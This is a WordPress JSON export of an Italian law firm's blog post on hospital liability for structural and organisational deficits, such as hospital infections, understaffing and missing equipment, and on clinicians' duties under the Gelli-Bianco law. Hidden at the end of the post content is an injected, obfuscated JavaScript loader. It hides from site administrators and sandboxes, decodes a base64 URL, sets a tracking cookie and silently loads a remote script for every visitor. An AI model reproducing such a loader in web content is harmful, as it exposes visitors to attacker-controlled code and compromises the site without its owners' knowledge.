{"id":26917,"date":"2021-01-05T09:43:00","date_gmt":"2021-01-05T09:43:00","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=26917"},"modified":"2026-04-15T05:40:29","modified_gmt":"2026-04-15T05:40:29","slug":"i-risvolti-del-deficit-organizzativo-e-strutturale","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=26917","title":{"rendered":"Malasanit\u00e0 &#8211; I risvolti del Deficit organizzativo e strutturale"},"content":{"rendered":"<p>A volte sono gli stessi operatori sanitari a denunciare casi di malasanit\u00e0.<\/p>\n<p>Pensiamo a tutte le circostanze in cui abbiamo sentito fare riferimento a turni massacranti, carenza di personale, assenza di macchinari all\u2019avanguardia, strutture sempre pi\u00f9 fatiscenti, ecc. ecc.<\/p>\n<p>Ecco, anche simili ipotesi possono inserirsi nel rapporto di causa ed effetto e diventare, giustappunto, cause di episodi di responsabilit\u00e0 medica. In detti casi, infatti, gli eventi sono riconducibili non tanto all\u2019errore medico bens\u00ec a carenze strutturali ed organizzative della struttura ospedaliera.<\/p>\n<p>In estrema sintesi, trattasi di gioie e dolori del processo di aziendalizzazione che interessa gran parte dei nosocomi.<\/p>\n<p>Sappiamo che la maggior parte delle scelte organizzative dei servizi sanitari sono regolate da criteri di economicit\u00e0 e di risparmio che non sempre coincidono per\u00f2 con l\u2019esigenza di garantire il miglior servizio per il benessere dei pazienti. Purtroppo, sappiamo bene che le leggi di mercato e delle aziende non sempre soggiacciono alle regole del buon senso!<\/p>\n<h3>Malasanit\u00e0 &#8211; I risvolti del Deficit organizzativo e strutturale<\/h3>\n<p><strong>Pensiamo, ad esempio, alle infezioni nosocomiali a cui vanno incontro tantissimi pazienti durante e\/o\u00a0 dopo la degenza.<\/strong><\/p>\n<p>La<strong> mancata salubrit\u00e0<\/strong> dell\u2019ambiente ospedaliero e delle attrezzature utilizzate in sala operatoria e \/o in fase di diagnostica o semplicemente nei reparti, pu\u00f2 determinare infatti l\u2019insorgenza di infezioni nosocomiali, ormai sempre pi\u00f9 frequenti tra i pazienti.<\/p>\n<p>Pensiamo anche alla <strong>mancata disponibilit\u00e0 di tutti gli strumenti e i macchinari<\/strong> necessari per garantire l\u2019esecuzione ottimale e tempestiva delle prestazioni sanitarie. In alcuni casi, questo deficit strutturale pu\u00f2 incidere gravemente sullo stato clinico di pazienti che, loro malgrado, possono difatti subire gli effetti della inadeguata gestione di complicanze o emergenze cliniche riportando un aggravamento delle proprie condizioni di salute.<\/p>\n<p>Altra nota dolente che spesso si ripercuote sui pazienti \u00e8 la <strong>ridottissima disponibilit\u00e0 di personale<\/strong>, sia medico che paramedico, adeguatamente qualificato dal momento che sempre pi\u00f9 spesso emerge che il numero delle risorse presenti nelle strutture \u00e8 inidoneo a soddisfare l\u2019elevata domanda.<\/p>\n<p>Quante volte ci siamo imbattuti nelle critiche mosse da parte di familiari dei degenti ospedalieri in seguito a <strong>incidenti occorsi durante la degenza<\/strong> stessa. Molto spesso, infatti, sentiamo parlare di mancata o erronea custodia degli anziani o dei soggetti pi\u00f9 deboli (si pensi ai minori o anche alle persone malate di mente) che non vengono monitorati come necessario e, ad esempio, cadono dal letto o hanno difficolt\u00e0 a nutrirsi autonomamente, o a pulirsi ecc. ecc.<\/p>\n<p>In tutti questi casi, si ricordi che la struttura ospedaliera \u00e8 chiamata ex lege a rispondere anche per le proprie carenze strutturali e organizzative.<\/p>\n<p>\u00c8 chiaro che l\u2019inadeguatezza dell\u2019apparato organizzativo e strutturale dell\u2019ospedale non elimina n\u00e9 attenua i profili di responsabilit\u00e0 riconducibili in capo al singolo professionista sanitario. Ricordiamo, infatti, che sul medesimo gravano specifici e appositi doveri, finalizzati a tutelare la salute del paziente di fronte alle inefficienze organizzative dell\u2019ente, l\u2019inadempimento dei quali pu\u00f2 essere adeguatamente sanzionato.<\/p>\n<p>In estrema sintesi, ricordiamo che spetta anche al sanitario:<\/p>\n<ul>\n<li>Verificare l\u2019adeguatezza della struttura in questione. Il compito consiste nel valutare anche l\u2019idoneit\u00e0 della stessa ad erogare la prestazione diagnostica o terapeutica ed assistenziale.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li>Informare il paziente circa l\u2019esistenza di eventuali deficit strutturali e organizzativi. In tal modo, \u00e8 possibile rispettare il principio di autodeterminazione del malato, garantendo che il medesimo possa consapevolmente decidere se sottoporsi ad uno specifico trattamento in quella o in un\u2019altra struttura. Nel caso in cui il paziente non sia in grado di prendere questa decisione, spetta al medico far s\u00ec che il malato venga trasportato e assistito in un nosocomio pi\u00f9 efficiente e adeguato alle sue esigenze.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li>Laddove non sia possibile trasferire il paziente, il medico dovr\u00e0 cercare di sopprerire alle deficienze della struttura in cui opera, garantendo sempre e comunque il miglior trattamento possibile.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>Questi profili di responsabilit\u00e0 ascrivibili sia alla struttura sanitaria sia al personale sono sempre esistiti ma rivestono una maggiore importanza pratica con l\u2019entrata in vigore della c.d. Legge Gelli-Bianco del marzo 2017. Ed infatti, alla luce della novella legislativa, uno degli aspetti fondamentali maggiormente evidenziato \u00e8 quello di garantire la sicurezza delle cure. La legge Gelli Bianco impone di perseguire tale obiettivo (anche) mediante lo svolgimento di attivit\u00e0 finalizzate alla prevenzione e alla gestione del rischio connesso all\u2019erogazione di prestazioni sanitarie nonch\u00e9 tramite l\u2019utilizzo appropriato delle risorse strutturali, tecnologiche e organizzative degli enti nosocomiali.<\/p>\n<p>Avv. Franco Di Maria\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Avv. Vincenza Pin\u00f2<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\">LEGGI ALTRI ARTICOLI<\/a><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A volte sono gli stessi operatori sanitari a denunciare casi di malasanit\u00e0. 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